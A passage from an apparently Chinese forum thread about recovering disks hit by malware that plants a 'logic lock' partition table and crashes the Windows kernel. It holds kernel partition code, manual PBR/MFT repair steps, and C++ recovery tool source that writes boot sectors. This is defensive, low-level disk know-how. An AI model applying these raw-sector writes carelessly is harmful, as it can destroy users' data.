    // that contiains one partition spanning the entire disk.
    //
 
    if(partitionTableCounter == -1) {
 
        if((mbrSignatureFound == TRUE) ||
           (diskGeometry.MediaType == RemovableMedia)) {
 
            //
            // Either we found a signature but the partition layout was
            // invalid (for all disks) or we didn't find a signature but this
            // is a removable disk.  Either of these two cases makes a
            // superfloppy.
            //
 
            KdPrintEx((DPFLTR_FSTUB_ID,
                       DPFLTR_TRACE_LEVEL,
                       "FSTUB: Drive %#p has no valid MBR. "
                           "Make it into a super-floppy\n", DeviceObject));
 
            KdPrintEx((DPFLTR_FSTUB_ID,
                       DPFLTR_TRACE_LEVEL,
                       "FSTUB: Drive has %#08lx sectors "
                           "and is %#016I64x bytes large\n",
                       endSector,
                       endSector * diskGeometry.BytesPerSector));
 
            if (endSector > 0) {
 
                partitionInfo = &(*PartitionBuffer)->PartitionEntry[0];
 
                partitionInfo->RewritePartition = FALSE;
                partitionInfo->RecognizedPartition = TRUE;
                partitionInfo->PartitionType = PARTITION_FAT_16;
                partitionInfo->BootIndicator = FALSE;
 
                partitionInfo->HiddenSectors = 0;
 
                partitionInfo->StartingOffset.QuadPart = 0;
 
                partitionInfo->PartitionLength.QuadPart =
                    (endSector * diskGeometry.BytesPerSector);
 
                (*PartitionBuffer)->Signature = 1;
 
                partitionNumber = 0;
            }
        } else {
 
            //
            // We found no partitions.  Make sure the partition count is -1
            // so that we setup a zeroed-out partition table below.
            //
 
            partitionNumber = -1;
        }
    }
 
    //
    // Fill in the first field in the PartitionBuffer. This field indicates how
    // many partition entries there are in the PartitionBuffer.
    //
 
    (*PartitionBuffer)->PartitionCount = ++partitionNumber;
 
    if (!partitionNumber) {
 
        //
        // Zero out disk signature.
        //
 
        (*PartitionBuffer)->Signature = 0;
    }
 
    //
    // Deallocate read buffer if it was allocated it.
    //
 
    if (readBuffer != NULL) {
        ExFreePool( readBuffer );
    }
 
    if (!NT_SUCCESS(status)) {
        ExFreePool(*PartitionBuffer);
        *PartitionBuffer = NULL;
    }
 
#if DBG
    if (NT_SUCCESS(status)) {
        FstubDbgPrintDriveLayout(*PartitionBuffer);
    }
#endif
    return status;
}

原因已经很清楚了,就是Windows内核在找分区的时候没有进行更多的判断,导致了死循环,但是这是Win2k3的代码,到Win11这个BUG还没有修复。

修复方法
首先需要解除硬盘逻辑锁。
如果是BIOS启动中了逻辑锁,可以用DiskGenius DOS版(或其他非微软系列的操作系统,如FreeDOS,linux)删除分区表。
如果是UEFI中了逻辑锁,就比较麻烦(有的电脑连UEFI设置都进不去),可以考虑把硬盘拆下并接到linux电脑上删除分区表。

再进入PE,如果不想恢复数据就可以重新分区重装系统了,如果想恢复数据可以找专业恢复数据的地方恢复,下面是手动恢复方法(实验性的,不一定能恢复成功,建议先备份)
1. 打开WinHex,选择工具->打开磁盘->物理驱动器->你的硬盘
2. 选择搜索->查找文本,输入NTLDR,编码选择Unicode,记下搜索到的扇区编号
3. 如果有此分区的PBR备份直接恢复PBR备份,这个分区就恢复完了(由于病毒没有破坏MFTMirr,所以MFT不存在时会自动使用MFTMirr里的备份)
如果没有此分区的PBR备份,那么就需要恢复PBR和MFT
1. 在刚刚搜索到的扇区的前一个扇区填入NTFS PBR,每个簇对应的扇区数填8,隐藏扇区数填当前的扇区编号,总扇区数填你大概估计的这个分区的扇区数(分区大小转成字节除以512,不确定就填硬盘的总扇区数,等恢复下一个分区的时候再计算),$MFT起始位置和$MFTMirr起始位置都填2(临时使用MFTMirr中存储的数据)
2. 用DiskGenius搜索分区,应该能搜到这个分区,选择文件恢复就能搜到文件了
3. 如果想要修复分区,使用WinHex搜索$LogFile(Unicode),搜到后注意辨别这个扇区的开头是不是FILE0。MFT所在簇号=(扇区号-隐藏扇区数-4)/每个簇对应的扇区数。填入PBR。

最后再用DiskGenius搜索分区,保存搜到的分区之后修复引导

防御方法
1. 禁止加载因为数字签名拉黑的驱动
2. 备份MBR,PBR,MFT
3. 遇到要加载驱动/写MBR的软件,先在虚拟机里试用

免费评分

参与人数 3威望 +2 吾爱币 +102 热心值 +3 收起 理由
Hmily + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
hxw0204 + 1 + 1 热心回复!
jaffa + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

jsncy 发表于 2025-1-25 14:45
谢谢分享。
叔本华 发表于 2025-2-7 12:27
fandazong 发表于 2025-4-13 19:19
https://wwij.lanzout.com/b00ya59cif[/url]
密码:b6om
大佬方便在给打包一下新版本的吗,上次悬赏采纳后我又重新弄了一下,看能否打包成功,重新悬赏也可以
 楼主| YWFhYmJi 发表于 2025-4-13 21:16
fandazong 发表于 2025-4-13 19:19
https://wwij.lanzout.com/b00ya59cif[/url]
密码:b6om
大佬方便在给打包一下新版本的吗,上次悬赏采纳后 ...

你这个新的程序也是一个示例程序,而且有很多bug
1. numpy库版本冲突
The conflict is caused by:
    The user requested numpy==1.26.0
    pandas 2.1.3 depends on numpy<2 and >=1.22.4; python_version < "3.11"
    scikit-learn 1.3.2 depends on numpy<2.0 and >=1.17.3
    numba 0.58.0 depends on numpy<1.26 and >=1.21
2. 使用了弃用的功能,在代码的第39行:
id: str = Field(..., min_length=2, max_length=20, regex=r'^[A-Za-z]\w+$')
报错:
pydantic.errors.PydanticUserError: `regex` is removed. use `pattern` instead
3. 改了之后还是报错:
运行错误: 计算失败: Delayed objects of unspecified length are not iterable

抱歉,这个我真不会改了,我对python的dask库不熟悉,请开新的帖子再找人弄吧。还有,不要再在此帖下回复,下面写着
警告:本版块禁止『灌水』或回复与主题无关内容,违者重罚!
 楼主| YWFhYmJi 发表于 2025-4-13 21:25
本帖最后由 YWFhYmJi 于 2025-4-13 21:29 编辑

针对此病毒已经制作出专杀工具,可以搜索到被此病毒删除的NTFS分区。运行后会生成一些文件PBRSector_xxxxxx.bin,将文件恢复到硬盘第xxxxxx个扇区后再用DiskGenius搜索丢失分区就可以找到了。
[C++] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
#include <stdio.h>
#include <conio.h>
#include <Windows.h>
 
BOOL ReadFileAlign(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead)
{
        DWORD dwRead = 0;
        DWORD nAlignedSize = (nNumberOfBytesToRead / 512 + (nNumberOfBytesToRead % 512 ? 1 : 0)) * 512;
        PUCHAR buffer = (PUCHAR)malloc(nAlignedSize);
        if (!ReadFile(hFile, buffer, nAlignedSize, &dwRead, NULL))
        {
                *lpNumberOfBytesRead = 0;
                return FALSE;
        }
        memcpy(lpBuffer, buffer, nNumberOfBytesToRead);
        *lpNumberOfBytesRead = nNumberOfBytesToRead;
        free(buffer);
        return TRUE;
}
 
BOOL IsEmptySector(LPVOID Buffer)
{
        for (UINT i = 0; i < 512; i++)
        {
                if (*((PUCHAR)Buffer + i))
                {
                        return FALSE;
                }
        }
        return TRUE;
}
 
#pragma pack(push, 1)
typedef struct _MFT_SEGMENT_REFERENCE {
        ULONG  SegmentNumberLowPart;
        USHORT SegmentNumberHighPart;
        USHORT SequenceNumber;
} MFT_SEGMENT_REFERENCE, *PMFT_SEGMENT_REFERENCE;
 
typedef MFT_SEGMENT_REFERENCE FILE_REFERENCE, *PFILE_REFERENCE;
 
typedef struct _MULTI_SECTOR_HEADER {
        UCHAR  Signature[4];
        USHORT UpdateSequenceArrayOffset;
        USHORT UpdateSequenceArraySize;
} MULTI_SECTOR_HEADER, *PMULTI_SECTOR_HEADER;
 
typedef struct _FILE_RECORD_SEGMENT_HEADER {
        MULTI_SECTOR_HEADER   MultiSectorHeader;
        ULONGLONG             Reserved1;
        USHORT                SequenceNumber;
        USHORT                Reserved2;
        USHORT                FirstAttributeOffset;
        USHORT                Flags;
        ULONG                 Reserved3[2];
        FILE_REFERENCE        BaseFileRecordSegment;
        USHORT                Reserved4;
        //UPDATE_SEQUENCE_ARRAY UpdateSequenceArray;
} FILE_RECORD_SEGMENT_HEADER, *PFILE_RECORD_SEGMENT_HEADER;
 
typedef enum _ATTRIBUTE_TYPE_CODE {
        ATTR_STANDARD_INFORMATION = 0x10,
        ATTR_ATTRIBUTE_LIST = 0x20,
        ATTR_FILE_NAME = 0x30,
        ATTR_OBJECT_ID = 0x40,
        ATTR_VOLUME_NAME = 0x60,
        ATTR_VOLUME_INFORMATION = 0x70,
        ATTR_DATA = 0x80,
        ATTR_INDEX_ROOT = 0x90,
        ATTR_INDEX_ALLOCATION = 0xA0,
        ATTR_BITMAP = 0xB0,
        ATTR_REPARSE_POINT = 0xC0,
        ATTR_END = 0xFFFFFFFF
} ATTRIBUTE_TYPE_CODE;
 
#define RESIDENT_FORM 0x00
#define NONRESIDENT_FORM 0x01
 
typedef ULONGLONG VCN;
 
#define FILE_NAME_INDEX_PRESENT 0x10000000
 
typedef struct _ATTRIBUTE_RECORD_HEADER {
        ATTRIBUTE_TYPE_CODE TypeCode;
        ULONG               RecordLength;
        UCHAR               FormCode;
        UCHAR               NameLength;
        USHORT              NameOffset;
        USHORT              Flags;
        USHORT              Instance;
        union {
                struct {
                        ULONG  ValueLength;
                        USHORT ValueOffset;
                        UCHAR  Reserved[2];
                } Resident;
                struct {
                        VCN      LowestVcn;
                        VCN      HighestVcn;
                        USHORT   MappingPairsOffset;
                        UCHAR    Reserved[6];
                        LONGLONG AllocatedLength;
                        LONGLONG FileSize;
                        LONGLONG ValidDataLength;
                        LONGLONG TotalAllocated;
                } Nonresident;
        } Form;
} ATTRIBUTE_RECORD_HEADER, *PATTRIBUTE_RECORD_HEADER;
 
typedef struct _FILE_NAME_ATTRIBUTE {
        FILE_REFERENCE ParentDirectory;
        UCHAR          Reserved[0x30];
        ULONG          FileAttributes;
        ULONG          AlignmentOrReserved;
        UCHAR          FileNameLength;
        UCHAR          Flags;
        WCHAR          FileName[1];
} FILE_NAME_ATTRIBUTE, *PFILE_NAME_ATTRIBUTE;
 
typedef struct _BIOS_PARAMETER_BLOCK
{
        /*+0x0B*/    UINT16  BytesPerSector;
        /*+0x0D*/    UCHAR   SectorsPerCluster;
        /*+0x0E*/    UINT16  ReservedSectors;
        /*+0x0F*/    UCHAR   Fats;
        /*+0x11*/    UINT16  RootEntries;
        /*+0x13*/    UINT16  Sectors;
        /*+0x15*/    UCHAR   Media;
        /*+0x16*/    UINT16  SectorsPerFat;
        /*+0x18*/    UINT16  SectorsPerTrack;
        /*+0x1A*/    UINT16  Heads;
        /*+0x1C*/    UINT32  HiddenSectors;
        /*+0x20*/    UINT32  LargeSectors;
} BIOS_PARAMETER_BLOCK, *PBIOS_PARAMETER_BLOCK;
 
typedef struct _NTFS_BOOT_SECTOR
{
        /*+0x00*/  UCHAR    JmpCode[3];
        /*+0x03*/  char     OemID[8];
        /*+0x0B*/  BIOS_PARAMETER_BLOCK PackedBpb;
        /*+0x24*/  UCHAR    Unused[4];
        /*+0x28*/  UINT64   NumberSectors;
        /*+0x30*/  UINT64   MftStartLcn;
        /*+0x38*/  UINT64   Mft2StartLcn;
        /*+0x40*/  UCHAR    ClustersPerFileRecordSegment;
        /*+0x41*/  UCHAR    Reserved0[3];
        /*+0x44*/  UCHAR    DefaultClustersPerIndexAllocationBuffer;
        /*+0x45*/  UCHAR    Reserved1[3];
        /*+0x48*/  UINT64   SerialNumber;
        /*+0x50*/  UINT32   Checksum;
        /*+0x54*/  UCHAR    BootStrap[426];
        /*+0x1FE*/ UINT16   RecordEndSign;
} NTFS_BOOT_SECTOR, *PNTFS_BOOT_SECTOR;
#pragma pack(pop)
 
unsigned char BootmgrCode[426] = {
        0xFA, 0x33, 0xC0, 0x8E, 0xD0, 0xBC, 0x00, 0x7C, 0xFB, 0x68, 0xC0, 0x07, 0x1F, 0x1E, 0x68, 0x66,
        0x00, 0xCB, 0x88, 0x16, 0x0E, 0x00, 0x66, 0x81, 0x3E, 0x03, 0x00, 0x4E, 0x54, 0x46, 0x53, 0x75,
        0x15, 0xB4, 0x41, 0xBB, 0xAA, 0x55, 0xCD, 0x13, 0x72, 0x0C, 0x81, 0xFB, 0x55, 0xAA, 0x75, 0x06,
        0xF7, 0xC1, 0x01, 0x00, 0x75, 0x03, 0xE9, 0xDD, 0x00, 0x1E, 0x83, 0xEC, 0x18, 0x68, 0x1A, 0x00,
        0xB4, 0x48, 0x8A, 0x16, 0x0E, 0x00, 0x8B, 0xF4, 0x16, 0x1F, 0xCD, 0x13, 0x9F, 0x83, 0xC4, 0x18,
        0x9E, 0x58, 0x1F, 0x72, 0xE1, 0x3B, 0x06, 0x0B, 0x00, 0x75, 0xDB, 0xA3, 0x0F, 0x00, 0xC1, 0x2E,
        0x0F, 0x00, 0x04, 0x1E, 0x5A, 0x33, 0xDB, 0xB9, 0x00, 0x20, 0x2B, 0xC8, 0x66, 0xFF, 0x06, 0x11,
        0x00, 0x03, 0x16, 0x0F, 0x00, 0x8E, 0xC2, 0xFF, 0x06, 0x16, 0x00, 0xE8, 0x4B, 0x00, 0x2B, 0xC8,
        0x77, 0xEF, 0xB8, 0x00, 0xBB, 0xCD, 0x1A, 0x66, 0x23, 0xC0, 0x75, 0x2D, 0x66, 0x81, 0xFB, 0x54,
        0x43, 0x50, 0x41, 0x75, 0x24, 0x81, 0xF9, 0x02, 0x01, 0x72, 0x1E, 0x16, 0x68, 0x07, 0xBB, 0x16,
        0x68, 0x52, 0x11, 0x16, 0x68, 0x09, 0x00, 0x66, 0x53, 0x66, 0x53, 0x66, 0x55, 0x16, 0x16, 0x16,
        0x68, 0xB8, 0x01, 0x66, 0x61, 0x0E, 0x07, 0xCD, 0x1A, 0x33, 0xC0, 0xBF, 0x0A, 0x13, 0xB9, 0xF6,
        0x0C, 0xFC, 0xF3, 0xAA, 0xE9, 0xFE, 0x01, 0x90, 0x90, 0x66, 0x60, 0x1E, 0x06, 0x66, 0xA1, 0x11,
        0x00, 0x66, 0x03, 0x06, 0x1C, 0x00, 0x1E, 0x66, 0x68, 0x00, 0x00, 0x00, 0x00, 0x66, 0x50, 0x06,
        0x53, 0x68, 0x01, 0x00, 0x68, 0x10, 0x00, 0xB4, 0x42, 0x8A, 0x16, 0x0E, 0x00, 0x16, 0x1F, 0x8B,
        0xF4, 0xCD, 0x13, 0x66, 0x59, 0x5B, 0x5A, 0x66, 0x59, 0x66, 0x59, 0x1F, 0x0F, 0x82, 0x16, 0x00,
        0x66, 0xFF, 0x06, 0x11, 0x00, 0x03, 0x16, 0x0F, 0x00, 0x8E, 0xC2, 0xFF, 0x0E, 0x16, 0x00, 0x75,
        0xBC, 0x07, 0x1F, 0x66, 0x61, 0xC3, 0xA1, 0xF6, 0x01, 0xE8, 0x09, 0x00, 0xA1, 0xFA, 0x01, 0xE8,
        0x03, 0x00, 0xF4, 0xEB, 0xFD, 0x8B, 0xF0, 0xAC, 0x3C, 0x00, 0x74, 0x09, 0xB4, 0x0E, 0xBB, 0x07,
        0x00, 0xCD, 0x10, 0xEB, 0xF2, 0xC3, 0x0D, 0x0A, 0x41, 0x20, 0x64, 0x69, 0x73, 0x6B, 0x20, 0x72,
        0x65, 0x61, 0x64, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x6F, 0x63, 0x63, 0x75, 0x72, 0x72,
        0x65, 0x64, 0x00, 0x0D, 0x0A, 0x42, 0x4F, 0x4F, 0x54, 0x4D, 0x47, 0x52, 0x20, 0x69, 0x73, 0x20,
        0x63, 0x6F, 0x6D, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x00, 0x0D, 0x0A, 0x50, 0x72, 0x65,
        0x73, 0x73, 0x20, 0x43, 0x74, 0x72, 0x6C, 0x2B, 0x41, 0x6C, 0x74, 0x2B, 0x44, 0x65, 0x6C, 0x20,
        0x74, 0x6F, 0x20, 0x72, 0x65, 0x73, 0x74, 0x61, 0x72, 0x74, 0x0D, 0x0A, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x8A, 0x01, 0xA7, 0x01, 0xBF, 0x01, 0x00, 0x00
};
 
unsigned char NtldrCode[426] = {
        0xFA, 0x33, 0xC0, 0x8E, 0xD0, 0xBC, 0x00, 0x7C, 0xFB, 0xB8, 0xC0, 0x07, 0x8E, 0xD8, 0xE8, 0x16,
        0x00, 0xB8, 0x00, 0x0D, 0x8E, 0xC0, 0x33, 0xDB, 0xC6, 0x06, 0x0E, 0x00, 0x10, 0xE8, 0x53, 0x00,
        0x68, 0x00, 0x0D, 0x68, 0x6A, 0x02, 0xCB, 0x8A, 0x16, 0x24, 0x00, 0xB4, 0x08, 0xCD, 0x13, 0x73,
        0x05, 0xB9, 0xFF, 0xFF, 0x8A, 0xF1, 0x66, 0x0F, 0xB6, 0xC6, 0x40, 0x66, 0x0F, 0xB6, 0xD1, 0x80,
        0xE2, 0x3F, 0xF7, 0xE2, 0x86, 0xCD, 0xC0, 0xED, 0x06, 0x41, 0x66, 0x0F, 0xB7, 0xC9, 0x66, 0xF7,
        0xE1, 0x66, 0xA3, 0x20, 0x00, 0xC3, 0xB4, 0x41, 0xBB, 0xAA, 0x55, 0x8A, 0x16, 0x24, 0x00, 0xCD,
        0x13, 0x72, 0x0F, 0x81, 0xFB, 0x55, 0xAA, 0x75, 0x09, 0xF6, 0xC1, 0x01, 0x74, 0x04, 0xFE, 0x06,
        0x14, 0x00, 0xC3, 0x66, 0x60, 0x1E, 0x06, 0x66, 0xA1, 0x10, 0x00, 0x66, 0x03, 0x06, 0x1C, 0x00,
        0x66, 0x3B, 0x06, 0x20, 0x00, 0x0F, 0x82, 0x3A, 0x00, 0x1E, 0x66, 0x6A, 0x00, 0x66, 0x50, 0x06,
        0x53, 0x66, 0x68, 0x10, 0x00, 0x01, 0x00, 0x80, 0x3E, 0x14, 0x00, 0x00, 0x0F, 0x85, 0x0C, 0x00,
        0xE8, 0xB3, 0xFF, 0x80, 0x3E, 0x14, 0x00, 0x00, 0x0F, 0x84, 0x61, 0x00, 0xB4, 0x42, 0x8A, 0x16,
        0x24, 0x00, 0x16, 0x1F, 0x8B, 0xF4, 0xCD, 0x13, 0x66, 0x58, 0x5B, 0x07, 0x66, 0x58, 0x66, 0x58,
        0x1F, 0xEB, 0x2D, 0x66, 0x33, 0xD2, 0x66, 0x0F, 0xB7, 0x0E, 0x18, 0x00, 0x66, 0xF7, 0xF1, 0xFE,
        0xC2, 0x8A, 0xCA, 0x66, 0x8B, 0xD0, 0x66, 0xC1, 0xEA, 0x10, 0xF7, 0x36, 0x1A, 0x00, 0x86, 0xD6,
        0x8A, 0x16, 0x24, 0x00, 0x8A, 0xE8, 0xC0, 0xE4, 0x06, 0x0A, 0xCC, 0xB8, 0x01, 0x02, 0xCD, 0x13,
        0x0F, 0x82, 0x19, 0x00, 0x8C, 0xC0, 0x05, 0x20, 0x00, 0x8E, 0xC0, 0x66, 0xFF, 0x06, 0x10, 0x00,
        0xFF, 0x0E, 0x0E, 0x00, 0x0F, 0x85, 0x6F, 0xFF, 0x07, 0x1F, 0x66, 0x61, 0xC3, 0xA0, 0xF8, 0x01,
        0xE8, 0x09, 0x00, 0xA0, 0xFB, 0x01, 0xE8, 0x03, 0x00, 0xFB, 0xEB, 0xFE, 0xB4, 0x01, 0x8B, 0xF0,
        0xAC, 0x3C, 0x00, 0x74, 0x09, 0xB4, 0x0E, 0xBB, 0x07, 0x00, 0xCD, 0x10, 0xEB, 0xF2, 0xC3, 0x0D,
        0x0A, 0x41, 0x20, 0x64, 0x69, 0x73, 0x6B, 0x20, 0x72, 0x65, 0x61, 0x64, 0x20, 0x65, 0x72, 0x72,
        0x6F, 0x72, 0x20, 0x6F, 0x63, 0x63, 0x75, 0x72, 0x72, 0x65, 0x64, 0x00, 0x0D, 0x0A, 0x4E, 0x54,
        0x4C, 0x44, 0x52, 0x20, 0x69, 0x73, 0x20, 0x6D, 0x69, 0x73, 0x73, 0x69, 0x6E, 0x67, 0x00, 0x0D,
        0x0A, 0x4E, 0x54, 0x4C, 0x44, 0x52, 0x20, 0x69, 0x73, 0x20, 0x63, 0x6F, 0x6D, 0x70, 0x72, 0x65,
        0x73, 0x73, 0x65, 0x64, 0x00, 0x0D, 0x0A, 0x50, 0x72, 0x65, 0x73, 0x73, 0x20, 0x43, 0x74, 0x72,
        0x6C, 0x2B, 0x41, 0x6C, 0x74, 0x2B, 0x44, 0x65, 0x6C, 0x20, 0x74, 0x6F, 0x20, 0x72, 0x65, 0x73,
        0x74, 0x61, 0x72, 0x74, 0x0D, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x83, 0xA0, 0xB3, 0xC9, 0x00, 0x00
};
 
BOOL ReadSector(HANDLE hDisk, ULONGLONG Sector, LPVOID Buffer)
{
        LARGE_INTEGER Offset = { 0 }, NewOffset = { 0 };
        Offset.QuadPart = Sector * 512;
        SetFilePointerEx(hDisk, Offset, &NewOffset, FILE_BEGIN);
        DWORD dwRead;
        if (!ReadFile(hDisk, Buffer, 512, &dwRead, NULL) || dwRead < 512)
        {
                fprintf(stderr, "Read sector error: %llu\n", Sector);
                return FALSE;
        }
        return TRUE;
}
 
LONGLONG ParseFileFirstCluster(const PUCHAR FileRecord)
{
        PFILE_RECORD_SEGMENT_HEADER pHeader = (PFILE_RECORD_SEGMENT_HEADER)FileRecord;
        PATTRIBUTE_RECORD_HEADER pAttr = (PATTRIBUTE_RECORD_HEADER)((PUCHAR)pHeader + pHeader->FirstAttributeOffset);
        while (pAttr->TypeCode != ATTR_END)
        {
                ATTRIBUTE_TYPE_CODE typeCode = pAttr->TypeCode;
                if (pAttr->FormCode)
                {
                        if (typeCode == ATTR_DATA)
                        {
                                PUCHAR dataRun = (PUCHAR)pAttr + pAttr->Form.Nonresident.MappingPairsOffset;
                                LONGLONG LCN = 0;
                                ULONGLONG VCN = 0;
                                while (*dataRun)
                                {
                                        UCHAR lengthBytes = *dataRun & 0x0F;
                                        UCHAR offsetBytes = *dataRun >> 4;
                                        dataRun++;
                                        LONGLONG length = 0;
                                        memcpy(&length, dataRun, lengthBytes);
                                        dataRun += lengthBytes;
                                        LONGLONG lcnOffset = 0;
                                        if (offsetBytes)
                                        {
                                                if (dataRun[offsetBytes - 1] & 0x80)
                                                        lcnOffset = -1;
                                                memcpy(&lcnOffset, dataRun, offsetBytes);
                                                dataRun += offsetBytes;
                                        }
                                        LCN += lcnOffset;
                                        return lcnOffset == 0 ? 0 : LCN;
                                        //printf("VCN %llu LCN %lld Clusters %lld\n", VCN, lcnOffset == 0 ? 0 : LCN, length);
                                        VCN += length;
                                }
                        }
                }
                pAttr = (PATTRIBUTE_RECORD_HEADER)((PUCHAR)pAttr + pAttr->RecordLength);
        }
        return -1;
}
 
BOOL ProcessVolume(HANDLE hDisk, ULONGLONG StartSector, ULONGLONG TotalSectors, BOOL IsBootmgr, LPCWSTR FileName)
{
        printf("Hidden sectors: %llu\n", StartSector - 1);
        ULONGLONG MftMirrStart = StartSector;
        char buf[1024];
        for (; MftMirrStart < TotalSectors; MftMirrStart++)
        {
                printf("\rSearching $MFTMirr sector %llu/%llu...", MftMirrStart, TotalSectors);
                if (!ReadSector(hDisk, MftMirrStart, buf))
                {
                        continue;
                }
                unsigned char Magic[5] = { 0x46, 0x49, 0x4C, 0x45, 0x30 };
                if (!memcmp(buf, Magic, 5))
                {
                        printf("\nFound $MFTMirr start sector: %llu\n", MftMirrStart);
                        break;
                }
        }
        if (MftMirrStart == TotalSectors)
        {
                printf("\n$MFTMirr sector not found. This is not a vaild NTFS partition.\n");
                return FALSE;
        }
        if (!ReadSector(hDisk, MftMirrStart + 2, buf) || !ReadSector(hDisk, MftMirrStart + 3, buf + 512))
        {
                printf("Critical sector read failed, could not recovery this partition.\n");
                return FALSE;
        }
        ULONGLONG MftMirrStartCluster = ParseFileFirstCluster((PUCHAR)buf);
        if (MftMirrStartCluster == -1)
        {
                printf("Could not get $MFTMirr start cluster.\n");
                return FALSE;
        }
        printf("$MFTMirr start cluster: %llu\n", MftMirrStartCluster);
        DWORD SectorsPerCluster = (MftMirrStart - StartSector + 1) / MftMirrStartCluster;
        printf("Sectors per cluster: %d\n", SectorsPerCluster);
        if (!ReadSector(hDisk, MftMirrStart, buf) || !ReadSector(hDisk, MftMirrStart + 1, buf + 512))
        {
                printf("Critical sector read failed, could not recovery this partition.\n");
                return FALSE;
        }
        ULONGLONG MftStartCluster = ParseFileFirstCluster((PUCHAR)buf);
        if (MftStartCluster == -1)
        {
                printf("Could not get $MFT start cluster.\n");
                return FALSE;
        }
        printf("$MFT start cluster: %llu\n", MftStartCluster);
        NTFS_BOOT_SECTOR bootsect;
        memcpy(bootsect.JmpCode, "\xEB\x52\x90", 3);
        memcpy(bootsect.OemID, "NTFS    ", 8);
        bootsect.PackedBpb.BytesPerSector = 512;
        bootsect.PackedBpb.SectorsPerCluster = SectorsPerCluster;
        bootsect.PackedBpb.ReservedSectors = 0;
        bootsect.PackedBpb.Fats = 0;
        bootsect.PackedBpb.RootEntries = 0;
        bootsect.PackedBpb.Sectors = 0;
        bootsect.PackedBpb.Media = 0xF8;
        bootsect.PackedBpb.SectorsPerFat = 0;
        bootsect.PackedBpb.SectorsPerTrack = 63; // TODO
        bootsect.PackedBpb.Heads = 255; // TODO
        bootsect.PackedBpb.HiddenSectors = StartSector - 1;
        bootsect.PackedBpb.LargeSectors = 0;
        memcpy(bootsect.Unused, "\x80\x00\x80\x00", 4);
        bootsect.NumberSectors = TotalSectors - StartSector + 1; // TODO
        bootsect.MftStartLcn = MftStartCluster;
        bootsect.Mft2StartLcn = MftMirrStartCluster;
        bootsect.ClustersPerFileRecordSegment = 0xF6;
        memcpy(bootsect.Reserved0, "\x00\x00\x00", 3);
        bootsect.DefaultClustersPerIndexAllocationBuffer = SectorsPerCluster > 8 ? 0xF4 : 1; // TODO
        memcpy(bootsect.Reserved1, "\x00\x00\x00", 3);
        bootsect.SerialNumber = 1ull * rand() * rand() * rand() * rand();
        bootsect.Checksum = 0;
        memcpy(bootsect.BootStrap, IsBootmgr ? BootmgrCode : NtldrCode, 426);
        bootsect.RecordEndSign = 0xAA55;
        HANDLE hFile = CreateFileW(FileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile == INVALID_HANDLE_VALUE)
        {
                printf("Failed to open output file.\n");
                return TRUE;
        }
        DWORD dwWrite;
        if (!WriteFile(hFile, &bootsect, 512, &dwWrite, NULL))
        {
                printf("Failed to write output file.\n");
                CloseHandle(hFile);
                return TRUE;
        }
        CloseHandle(hFile);
        printf("Boot sector saved to file: %ls\n", FileName);
        return TRUE;
}
 
BOOL UpdatePartSize(LPCWSTR FileName, ULONGLONG NumberSectors)
{
        HANDLE hFile = CreateFileW(FileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile == INVALID_HANDLE_VALUE)
        {
                printf("Failed to open output file.\n");
                return FALSE;
        }
        NTFS_BOOT_SECTOR bootsect;
        DWORD dwRead;
        if (!ReadFile(hFile, &bootsect, 512, &dwRead, NULL))
        {
                printf("Failed to read output file.\n");
                CloseHandle(hFile);
                return FALSE;
        }
        CloseHandle(hFile);
        hFile = CreateFileW(FileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile == INVALID_HANDLE_VALUE)
        {
                printf("Failed to open output file.\n");
